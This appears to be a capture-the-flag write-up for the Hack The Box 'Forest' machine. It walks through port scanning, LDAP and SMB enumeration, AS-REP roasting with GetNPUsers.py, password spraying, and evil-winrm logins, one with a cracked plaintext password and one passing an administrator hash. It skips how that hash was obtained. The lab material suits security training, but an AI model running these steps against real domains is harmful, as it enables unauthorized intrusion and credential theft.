PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-13 15:46:46Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: Hack The Box)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49684/tcp open msrpc Microsoft Windows RPC
49706/tcp open msrpc Microsoft Windows RPC
49976/tcp open msrpc Microsoft Windows RPC
It’s always good to look for low hanging fruit, So checked SMB for guest or anonymous login but there isn’t any. Same with LDAP
When it’s comes to enumeration my goto tool is always netexec. Netexec provides many options for Active Directory enumeration. I queried LDAP,
❯ netexec ldap htb.local -u anonymous -p anonymous
SMB 10.10.10.161 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
LDAP 10.10.10.161 389 FOREST [-] htb.local\anonymous:anonymous
Queried SMB, got nothing
❯ netexec smb htb.local -u sundeity -p ''
SMB 10.10.10.161 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB 10.10.10.161 445 FOREST [-] htb.local\sundeity: STATUS_LOGON_FAILURE
Which was weird for an easy box, this triggered lot of questions inside me. On searching the web I found about a new technique. Apparently I can enumerate rpc using rpcclient. If you are more interested about this i’ll leave the articles link Links to the Articles
As I was desperatly looking for a low hanging fruit I checked user accounts that had DONT_REQUIRE_PREAUTH. Lucky me I got one user which is none other than svc-alfresco.
This Pre-Auth concept is pretty simple let’s learn about it, As part of the Kerberos authentication process in Active Directory, there is an initial request to authenticate without a password. This is an artifact left over from Kerberos versions earlier than Kerberos 5. In these earlier versions, Kerberos would allow authentication without a password.
Now, in Kerberos 5, a password is required, which is called “Pre-Authentication.” When looking at the Kerberos exchanges during log-on, you will initially see an AS-REQ (Authentication Server Request) followed by a Kerberos error, which will state that pre-auth is required.
But in some cases accounts might be configured to authenticate without a Pre-Auth, well yeah which obiviously a misconfiguration. Using below the tool below I abused it and got the TGT from kerberos
for i in $(cat users.txt);do GetNPUsers.py -no-pass htb.local/${i} -dc-ip 10.10.10.161;done
Output:
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Getting TGT for Administrator
/home/n_emperor/.local/bin/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Getting TGT for krbtgt
/home/n_emperor/.local/bin/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Getting TGT for sebastein
/home/n_emperor/.local/bin/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Getting TGT for lucinda
/home/n_emperor/.local/bin/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Getting TGT for svc-alfresco
/home/n_emperor/.local/bin/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
<Hash-Redacted>
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Getting TGT for andy
/home/n_emperor/.local/bin/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Getting TGT for mark
/home/n_emperor/.local/bin/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Getting TGT for santi
/home/n_emperor/.local/bin/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
To get the password I cracked the TGT using hashcat and got the password
Now I have full access over user svc-alfresco (Password is not redacted down here, Enjoy!😉). I initiated password spraying attack on SMB. This is what I usually do when I get a new password. But I didn’t get any hit on other accounts, Which is sad 😥 to be honest.
I tried the same on WinRM service and guess what, Bingo! Got winrm access. Even if I got any hit on other accounts earlier it would have been hectic to pivot, hey! anyway less steps to work.
❯ evil-winrm -u svc-alfresco -p s3rvice -i htb.local
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> type ../Desktop/user.txt
<redacted>
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>
We got everything we can, “we” successfully acheived a hacker’s dream, Logged in using winrm as administrator and got the
Root flag
❯ evil-winrm -u administrator -H 32693b<hidden> -i htb.local
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
<redacted>
